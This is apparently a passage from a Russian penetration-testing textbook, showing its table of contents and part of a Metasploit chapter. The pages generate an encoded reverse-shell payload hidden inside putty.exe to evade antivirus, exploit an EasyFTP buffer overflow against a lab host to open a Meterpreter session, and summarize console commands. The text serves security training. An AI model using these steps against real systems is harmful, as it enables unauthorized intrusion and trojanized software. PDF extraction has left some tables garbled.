- •Благодарности
- •Список использованных сокращений
- •От издательства
- •Введение
- •Глава 1. Начало
- •Как провести аудит законно?
- •Методология взлома
- •Резюме
- •Глава 2. Получение информации из открытых источников
- •Введение
- •Что искать?
- •Использование Google для сбора информации
- •Ограничение поиска одним сайтом
- •Поиск файлов определенного типа
- •Поиск определенных частей сайта
- •Google Hacking
- •Поиск информации о людях
- •Архивные данные
- •Netcraft
- •Получение информации о домене
- •Автоматизация процесса
- •FOCA
- •Сбор базы данных адресов e-mail
- •recon-ng
- •Упорядочить информацию
- •Резюме
- •Глава 3. Получение информации от сетевых сервисов
- •Введение
- •Сканирование портов
- •Определение активных хостов
- •UDP-сканирование
- •NMAP
- •Получение информации от DNS-сервера
- •Типы записей
- •Взаимодействие с DNS-сервером
- •MX-записи
- •NS-запросы
- •Перебор имен
- •Перебор обратных записей
- •Передача зоны DNS
- •Получение информации с использованием SNMP
- •Получение информации с использованием NetBIOS
- •Null session
- •Работа с электронной почтой
- •Анализ баннеров
- •Получение информации от NTP-сервера
- •Поиск уязвимостей
- •Резюме
- •Глава 4. Атаки на веб-приложения
- •Знакомство с сookie
- •Межсайтовый скриптинг (XSS)
- •Включение локальных или удаленных файлов
- •SQL-инъекции
- •Резюме
- •Глава 5. Социальная инженерия
- •На кого обратить внимание?
- •Фазы атаки
- •Манипулирование людьми
- •Типы атак
- •Social-Engineer Toolkit
- •Резюме
- •Глава 6. Получаем пароли
- •Основные методы
- •Работа со списками паролей
- •Онлайн-атаки
- •Радужные таблицы
- •Резюме
- •Глава 7. Беспроводные сети
- •Краткий обзор Wi-Fi
- •Bluetooth
- •Резюме
- •Глава 8. Перехват информации
- •Пассивный перехват трафика
- •Активный перехват
- •Резюме
- •Глава 9. Обход систем безопасности
- •Системы обнаружения атак
- •Брандмауэры
- •Приманки
- •Резюме
- •Глава 10. Вредоносные программы
- •Вирусы
- •Черви
- •Шпионы
- •Рекламное ПО
- •Троянские кони
- •Практическая часть
- •Резюме
- •Глава 11. Metasploit Framework
- •Интерфейс
- •Вспомогательные модули
- •Полезная нагрузка
- •Практические навыки
- •Резюме
- •Глава 12. Передача файлов
- •TFTP
- •Загрузка файлов с использованием скриптов
- •Резюме
- •Глава 13. Превышение привилегий
- •Локальное повышение прав в Linux
- •Локальное повышение прав в Windows
- •Повышение привилегий в случае некорректной конфигурации прав доступа
- •Резюме
- •Глава 14. Перенаправление портов и туннелирование
- •Перенаправление портов
- •SSH-туннелирование
- •proxychains
- •Резюме
- •Глава 15. Переполнение буфера
- •Атаки, направленные на переполнение буфера
- •Введение
- •Что такое переполнение буфера?
- •Программы, библиотеки и бинарные файлы
- •Угрозы
- •Основы компьютерной архитектуры
- •Организация памяти
- •Разбиение стека (Smashing the stack)
- •Перезапись указателя фрейма
- •Атака возврата в библиотеку
- •Переполнение динамической области памяти
- •Пример нахождения уязвимости переполнения буфера
- •Резюме
- •Глава 16. Собирая все воедино
- •Стандарт выполнения тестов на проникновение
- •Подготовительная фаза
- •Договор о проведении работ
- •Получение разрешения
- •Сбор данных
- •Анализ уязвимостей
- •Моделирование
- •Эксплуатация уязвимостей
- •Постэксплуатационный этап
- •Отчет
- •Зачистка
- •Введение
- •Глава 17. Личный пример
- •Глава 18. Бумажная работа
- •Политика безопасности
- •Стандарты
- •Процедуры
- •Инструкции
- •Техническая документация
- •Глава 19. Обучение и тренировки
- •Тренировки
- •Глава 20. Защита от утечки информации
- •Глава 21. Брандмауэры
- •Глава 22. Системы обнаружения вторжения (IDS)
- •Глава 23. Виртуальные защищенные сети (VPN)
- •Компоненты виртуальной частной сети
- •Безопасность VPN
- •Создание VPN из компонентов с открытым исходным кодом
- •Заключение
Практические навыки 165
msf payload(shell_reverse_tcp) > generate -o LHOST=192.168.10.5 -b '\x00' -e x86/ shikata_ga_nai -c 8 -x /root/Downloads/putty.exe -t exe -f /root/revers_shell.exe [*] Writing 531368 bytes to /root/revers_shell.exe...
Как видно, в результате инкапсуляции количество антивирусов, которые смогли распознать вредоносный код, существенно уменьшилось.
Рис. 11.3. Результат проверки файла с внедренным кодом сервисом VirusTotal
Такой хороший результат работы антивирусов обусловлен тем, что Metasploit содержит хорошо известные эксплойты. Если вы действительно хотите обойти антивирус, то необходимо создавать свой уникальный код или искать новые эскплойты, еще неизвестные широкому кругу специалистов.
Практические навыки
Теперь, когда мы показали, как пользоваться отдельными частями Metasploit, пришла пора собрать все вместе и продемонстрировать генерацию эксплойта с полезной нагрузкой и взлом целевой системы.
На прошлом шаге мы уже нашли уязвимый FTP-сервер. Теперь выберем нужный эксплойт и сконфигурируем его.
msf auxiliary(ftp_login) > use windows/ftp/easyftp_cwd_fixret msf exploit(easyftp_cwd_fixret) > info
Name: EasyFTP Server CWD Command Stack Buffer Overflow
Module: exploit/windows/ftp/easyftp_cwd_fixret
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-02-16
Provided by:
Paul Makowski <my.hndl@gmail.com> jduck <jduck@metasploit.com>
Available targets:
166 Глава 11 • Metasploit Framework
Id Name
------
0Windows Universal — v1.7.0.2
1Windows Universal — v1.7.0.3
2Windows Universal — v1.7.0.4
3Windows Universal — v1.7.0.5
4Windows Universal — v1.7.0.6
5Windows Universal — v1.7.0.7
6Windows Universal — v1.7.0.8
7Windows Universal — v1.7.0.9
8Windows Universal — v1.7.0.10
9Windows Universal — v1.7.0.11
Basic options: |
|
|
|
Name |
Current Setting |
Required |
Description |
---- |
--------------- |
-------- |
----------- |
FTPPASS |
mozilla@example.com |
no |
The password for the specified username |
FTPUSER |
anonymous |
no |
The username to authenticate as |
RHOST |
|
yes |
The target address |
RPORT |
21 |
yes |
The target port |
Payload information:
Space: 450
Avoid: 4 characters
Description:
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which leads to a stack based buffer overflow.
EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information.
References: OSVDB (62134)
http://www.securityfocus.com/bid/38262 http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-
address-overwrite/ http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-
server-exploit http://seclists.org/bugtraq/2010/Feb/202
msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.225.1 RHOST => 192.168.225.1
msf exploit(easyftp_cwd_fixret) >
Просмотрим варианты шелл-кодов и выберем нужный нам.
msf exploit(easyftp_cwd_fixret) > show payloads
Compatible Payloads
===================
|
Практические навыки |
167 |
|
Name |
Disclosure Date |
Rank |
|
Description |
|
|
|
---- |
--------------- |
---- |
--- |
-------- |
|
|
|
generic/custom |
|
normal |
|
Custom Payload |
|
|
|
generic/debug_trap |
|
normal |
|
Generic x86 Debug Trap |
|
|
|
generic/shell_bind_tcp |
|
normal |
|
Generic Command Shell, Bind TCP Inline |
|
|
|
generic/shell_reverse_tcp |
|
normal |
|
Generic Command Shell, Reverse TCP Inline |
|
|
|
generic/tight_loop |
|
normal |
|
Generic x86 Tight Loop |
|
|
|
windows/dllinject/bind_hidden_ipknock_tcp |
|
normal |
|
Reflective DLL Injection, Hidden Bind Ipknock TCP Stager |
|
|
|
windows/dllinject/bind_hidden_tcp |
|
normal |
|
Reflective DLL Injection, Hidden Bind TCP Stager |
|
|
|
windows/dllinject/bind_ipv6_tcp |
|
normal |
|
Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86) |
|
|
|
... |
|
|
|
После того как мы определились с нагрузкой, проверим параметры и поэксплуатируем уязвимость в FTP-сервере.
msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(easyftp_cwd_fixret) > show options
Module options (exploit/windows/ftp/easyftp_cwd_fixret):
Name |
Current Setting |
Required |
Description |
---- |
--------------- |
-------- |
----------- |
FTPPASS |
mozilla@example.com no |
The password for the specified username |
|
FTPUSER |
anonymous |
no |
The username to authenticate as |
RHOST |
192.168.225.1 |
yes |
The target address |
RPORT |
21 |
yes |
The target port |
Payload options (windows/meterpreter/bind_tcp): |
|||
Name |
Current Setting |
Required Description |
------------------- -------- -----------
EXITFUNC |
process |
yes |
Exit technique (Accepted: '', seh, thread, |
|
process, none) |
|
|
|
|
LPORT |
4444 |
yes |
The listen |
port |
RHOST |
192.168.225.1 |
no |
The target |
address |
Exploit target:
Id Name
------
0 Windows Universal — v1.7.0.2
168 Глава 11 • Metasploit Framework
msf exploit(easyftp_cwd_fixret) > exploit
[*]Started bind handler
[*]192.168.225.1:21 — Prepending fixRet...
[*]192.168.225.1:21 — Adding the payload...
[*]192.168.225.1:21 — Overwriting part of the payload with target address...
[*]192.168.225.1:21 — Sending exploit buffer...
[*]Sending stage (748032 bytes)
[*]Meterpreter session 1 opened (192.168.225.128:4444 -> 192.168.225.1:62853)
meterpreter>sysinfo
Computer: TEST
OS : Windows 7 (Build 7601,Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Резюме
Metasploit является универсальным инструментом для проведения аудита безопасности. Данный фреймворк постоянно поддерживается и обновляется. Основная работа с бесплатной версией происходит через командный интерфейс с использованием msfconsole, однако не забывайте о наличии графического интерфейса Armitage: информацию проще усвоить, когда она представлена в графическом виде.
Помните, что Metasploit состоит из ядра, которое обеспечивает совместную работу следующих подключаемых компонентов:
Интерфейсы: консольный и графические;Модули:
yy эксплойты (обеспечивают возможность эксплуатации найденной уязви мости);
yy полезная нагрузка (программа, которая запускается после успешной работы эксплойта и выполняет переделенную функцию, например создание пользователя, открытие порта и т. д.);
yy вспомогательные модули (сканер портов, перебор паролей, анализ трафика и т. д.);
yy энкодеры (позволяют скрыть вредоносный код от систем защиты путем его многократного преобразования) и т. д.
Расширения — позволяют значительно расширить функционал Metasploit. Основные команды Metasploit:
back — используйте, чтобы вернуться к предыдущему контексту после того, как вы закончили работу с модулем или выбрали неверный модуль;
Резюме 169
check — проверяет уязвимость целевой системы перед выбранным эксплойтом;connect — подключение к удаленной системе
edit — правка в установленном графическом или текстовом редакторе;exit — закончить работу;
help — выведет справку о доступных командах;info — выведет на экран информацию о модуле;jobs — позволяет управлять запущенными задачами;kill — остановит запущенную задачу;
load — загрузит нужное расширение из директории Metasploit;search — поиск модулей;
set — установить необходимое значение;
use — выбрать и начать работать с конкретным модулем.
Обязательно ознакомьтесь с прекрасным бесплатным курсом от Offensive Security — https://www.offensive-security.com/metasploit-unleashed/.